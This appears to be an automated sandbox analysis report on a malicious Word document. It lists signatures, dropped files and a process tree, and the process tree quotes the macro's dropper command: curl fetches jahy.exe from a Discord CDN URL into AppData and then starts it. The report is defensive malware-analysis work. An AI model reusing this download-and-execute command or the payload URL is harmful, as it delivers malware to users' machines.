Analysis

  • max time kernel
    148s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/07/2026, 08:29

General

  • Target
    8d89cb9044f553665efa6b753b66f3231867b91e8d8c1cc519770e7bee0af1c4.doc
  • Size 550KB
  • Sample260716-kd4cmsgv5j
  • SHA256 8d89cb9044f553665efa6b753b66f3231867b91e8d8c1cc519770e7bee0af1c4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8d89cb9044f553665efa6b753b66f3231867b91e8d8c1cc519770e7bee0af1c4.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c curl https://cdn.discordapp.com/attachments/1077543461617676409/1150743707176402974/jahy.exe --output %APPDATA%\jahy.exe && timeout 1 && start %APPDATA%\jahy.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\Windows\system32\curl.exe
        curl https://cdn.discordapp.com/attachments/1077543461617676409/1150743707176402974/jahy.exe --output C:\Users\Admin\AppData\Roaming\jahy.exe
        3⤵
          PID:5720
        • C:\Windows\system32\timeout.exe
          timeout 1
          3⤵
          • Delays execution with timeout.exe
          PID:3476

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          TM02851218[[fn=gb]].xsl

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl
          • Size 262KB
          • SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CUSTOM.DIC

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
          • Size 16B
          • SHA256 a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
          • MD5 SHA1 SHA512

          fb3b0dbfee58fac8.customDestinations-ms

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
          • Size 1KB
          • SHA256 2a0056a1a842c74b7d15b0f6f4957f708249d816f689bf3954aad598b6e2f5c2
          • MD5 SHA1 SHA512 TLSH

          jahy.exe

          • Path C:\Users\Admin\AppData\Roaming\jahy.exe
          • Size 36B
          • SHA256 c3fa59901d56ce8a95a303b22fd119cb94abf4f43c4f6d60a81fd78b7d00fa65
          • MD5 SHA1 SHA512

          memory/2076-4-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-6-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

          memory/2076-0-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-7-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

          memory/2076-8-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-9-0x00007FFAEBDE0000-0x00007FFAEBDF0000-memory.dmp

          memory/2076-10-0x00007FFAEBDE0000-0x00007FFAEBDF0000-memory.dmp

          memory/2076-17-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

          memory/2076-16-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

          memory/2076-5-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

          memory/2076-1-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-26-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

          memory/2076-2-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-32-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

          memory/2076-3-0x00007FFB2E97F000-0x00007FFB2E980000-memory.dmp

          memory/2076-471-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-472-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-474-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-473-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

          memory/2076-475-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp